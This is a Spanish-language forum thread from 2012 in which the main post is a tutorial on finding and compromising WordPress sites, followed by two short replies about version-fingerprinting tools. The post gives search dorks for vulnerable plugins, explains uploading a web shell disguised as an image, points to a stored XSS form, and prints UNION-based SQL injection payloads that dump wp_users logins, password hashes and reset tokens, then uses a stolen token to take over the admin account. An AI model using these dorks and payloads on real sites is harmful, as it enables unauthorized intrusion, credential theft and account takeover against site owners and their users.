WordPress y Algunas de sus Vulnerabilidades

  • 2 Respuestas
  • 4221 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado CalebBucker

  • *
  • Underc0der
  • Mensajes: 155
  • Actividad:
    0%
  • Reputación 0
  • Te crees Estrella? Avísame para pedirte un Deseo
    • Ver Perfil
    • [In]Seguridad Informatica

WordPress y Algunas de sus Vulnerabilidades

  • en: Agosto 31, 2012, 05:48:18 pm

WordPress  ¿Qué es?

WordPress es un sistema de gestión de contenido (en inglés Content Management System, o CMS) enfocado a la creación de blogs (sitios web periódicamente actualizados). Desarrollado en PHP y MySQL, bajo licencia GPL y código modificable. WordPress se ha convertido junto a Movable Type en el CMS más popular de la blogosfera y en el más popular con respecto a cualquier otro CMS de aplicación general. Las causas de su enorme crecimiento son, entre otras, su licencia, su facilidad de uso y sus características como gestor de contenidos.

WordPress ¿Objetivo de Hackers?

Según Wikipedia: WordPress es usado por más del 16,7% en el rank Alexa Internet "top 1 million" de sitios web y en agosto de 2011 gestiona el 22% de todos los nuevos sitios web.

Esto y debido a los miles de plugins y temas disponibles para WordPress, no hace falta decir que los programadores han codificado descuidadamente una parte equitativa de estos y que las posibilidades de una mayor escalada de privilegio para el hacker si encuentra un sitio web utilizando un plugin explotable o no actualizados . Estos pueden ir desde las vulnerabilidades de tipo SQLi a LFI de la que voy a explicar más abajo. Pero en términos más simples un plugin web explotable eventualmente puede conducir a la administración y el acceso total al servidor.

¿Cómo encontramos sitios web que utilicen WordPress?

Usando dorks simples que pueden ser eficaces, por ejemplo:
Código: (txt) You are not allowed to view links. Register or Login
intext:"Proudly powered by WordPress. "
intext:"Powered by WordPress. "

Además, podemos utilizar la ruta de configuración estándar de WordPress, utilizando la siguiente dork:
Código: (txt) You are not allowed to view links. Register or Login
inurl: /wordpress/wp-content/plugins/
Esto encuentra un montón de sitios web de WordPress con los listados de directorios habilitados. Podemos navegar por el directorio y tomar nota de los plugins que utiliza el servidor. Esto es parte del proceso de enumeración, una vez que hemos tomado nota de lo plugins nos dirigimos a exploit-db en busca de exploits para dichos plugins.

Código: (txt) You are not allowed to view links. Register or Login
http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=wordpress&filter_author=&filter_platform=0&filter_type=0&filter_port=&filter_osvdb=&filter_cve=
¿Cómo explotamos sitios WordPress? Ejemplos reales:

1) Arbitrary File Upload: Easy Comment Uploads - Version - 3.2.1, usamos la siguiente dork:

Código: (txt) You are not allowed to view links. Register or Login
inurl:/wp-content/plugins/easy-comment-uploads/upload-form.php
Apreciaremos el sitio web de la siguiente forma:


Después de eso, es muy sencillo subir y localizar nuestra shell, solo queda disfrutar de ella.


2) Stored XSS: Version 3.2.3, usamos la siguiente dork:

Código: (txt) You are not allowed to view links. Register or Login
inurl:/wp-content/plugins/count-per-day/notes.php
Apreciaremos el sitio web de la siguiente forma:


Podemos inyectar cualquier codigo javascript (XSS) la cual automaticamente se almacenara en el stored. El archivo "notes.php" no se limita solo a los administradores, por lo tanto cualquier persona puede acceder al archivo.


3) Arbitrary File Upload: Custom Content Type Manager, usamos la siguiente dork:

Código: (txt) You are not allowed to view links. Register or Login
inurl:/wp-content/plugins/custom-content-type-manager/upload_form.php
Apreciaremos el sitio web de la siguiente forma:


Desde ahí se puede subir una shell, pero tenemos que cargarlo como una extensión de imagen (JPG/PNG/GIF). Para acceder a la shell, la encontraremos la siguiente manera:

Código: (txt) You are not allowed to view links. Register or Login
http://www.sitio-web.com/wp-content/uploads/[YYYY]/[MM]/shell.php.jpg

4) SQL Injection: Wordpress HD Webplayer - Version 1.1, usamos la siguiente dork:

Código: (txt) You are not allowed to view links. Register or Login
inurl:/wp-content/plugins/hd-webplayer/playlist.php?videoid=
Apreciaremos el sitio web de la siguiente forma:


Desde ahí se puede hacer una inyección básica, en primer lugar nos encontramos con las columnas, digamos que tiene 11, entonces inyectamos de la siguiente manera:

Código: (txt) You are not allowed to view links. Register or Login
videoid=2+/*!UNION*/+/*!SELECT*/+group_concat(ID,0x3a,user_login,0x3a,user_pass,0x3b),2,3,4,5,6,7,8,9,10,11+from​​+wp_users
Luego, por supuesto, una vez que se ha inyectado vamos a obtener los datos del administrador:


5) [Full-disclosure] WordPress <= 2.8.3 Remote admin reset password

Esta vulnerabilidad se puede utilizar cuando tenemos un sitio web WordPress vulnerable a SQL Injection, la cual podemos obtener los datos administrativos como son el USUARIO, E-MAIL y PASSWORD, pero como ya sabemos y apreciamos en la imagen anterior, todo PASSWORD de WordPress estan encryptadas de una manera que es muy dificil de desencryptar, para ello usaremos esto metodo que consiste en Resetear el Password con el usuario o e-mail administrativo, la cual obtendremos un Token con lo que facilmente podemos cambiar la contraseña administrativa.

Obtendremos el user_login y user_email de la siguiente manera:
Código: (txt) You are not allowed to view links. Register or Login
/*!UNION*/+/*!SELECT*/group_concat(ID,0x3a,user_login,0x3a,user_email,0x3b),2,3,4,5,6,7,8,9,10,11 from wp_usersObtenido el usuario o e-mail nos dirigimos a You are not allowed to view links. Register or Login y seleccionamos en ¿Olvidó su contraseña? introducimos el usuario o e-mail


Presionaremos en "Get New Password" la cual el sitio web enviara una codigo de activacion (Token)   entonces como es logico, dicho Token se almacena en la DB, por lo tanto obtendremos dicho codigo de la siguiente manera:
Código: (txt) You are not allowed to view links. Register or Login
/*!UNION*/+/*!SELECT*/group_concat(ID,0x3a,user_login,0x3a,user_activation_key,0x3b),2,3,4,5,6,7,8,9,1​0,11 from wp_users
Obtenido dicho Token, solo nos faltaria restablecer la contraseña, para ello nos dirigimos al siguiente link:
Código: (txt) You are not allowed to view links. Register or Login
http://www.sitio-web.com/wp-login.php?action=rp&key=Token&login=Usuario
Remplazamos "Token" y "Usuario" por lo datos que nos arroja la DB, por ejemplo:
Código: (txt) You are not allowed to view links. Register or Login
http://www.sitio-web.com/wp-login.php?action=rp&key=RXr7T7lplszV&login=admin
Por lo que obtendremos la opcion de restablecer la contraseña facilmente, como vemos en la siguiente imagen:


6) Full Path Disclosure (FPD), usaremos la siguiente dork:
Código: (txt) You are not allowed to view links. Register or Login
inurl:"/wp-includes/Apreciaremos el sitio web de la siguiente forma:


Dando click en cualquiera de los archivos, facilmente el sitio web nos mostrara el Path (ubicacion) de sus archivos.

Ejemplo:
Código: (txt) You are not allowed to view links. Register or Login
http://www.vulnerability-lab.com/dev/wp-includes/admin-bar.php

Mayormente esta Vulnerabilidad lo tienen el 80% de todos los sitios WordPress, pues facilmente podemos ir a cualquier sitio (WordPress) y diriginos a /wp-includes/ para apreciar dicha vulnerabilidad.

7) Fingerprinting WordPress version:

Este metodo sirve para obtener las versiones correcta de un sitio WordPress, para ello existen muchas herramientas como son:

Esas herramientas aparte de obtener la versión de WordPress de la página web, tambien puede  obtener información sobre las versiones de los plugins instalados y compara su versión a la última y más a la versión de los datos disponibles en la actualidad que indica si puede ser vulnerable o no.

Es todo por ahora.

Saludos.
« Última modificación: Noviembre 23, 2014, 01:09:24 pm por Expermicid »
You are not allowed to view links. Register or Login

Desconectado q3rv0

  • *
  • Underc0der
  • Mensajes: 207
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • Ver Perfil
    • q3rv0
    • Email

Re:WordPress y Algunas de sus Vulnerabilidades

  • en: Agosto 31, 2012, 06:08:51 pm
buen post, Nunca hay que fiarse tampoco de las herramientas de fingerprintimg online, que por lo general buscan las version del blog en los tag <meta>, el admin podria modificarlos, para no dejar ver la version correcta, dejo una tool online para la busquedad de version de este tipo de CMS, You are not allowed to view links. Register or Login
Web: You are not allowed to view links. Register or Login

Twitter: You are not allowed to view links. Register or Login

Desconectado CalebBucker

  • *
  • Underc0der
  • Mensajes: 155
  • Actividad:
    0%
  • Reputación 0
  • Te crees Estrella? Avísame para pedirte un Deseo
    • Ver Perfil
    • [In]Seguridad Informatica

Re:WordPress y Algunas de sus Vulnerabilidades

  • en: Agosto 31, 2012, 06:22:32 pm
WhatWeb es muy buena tool para obtener todos los datos del servidor web.

Saludos.
You are not allowed to view links. Register or Login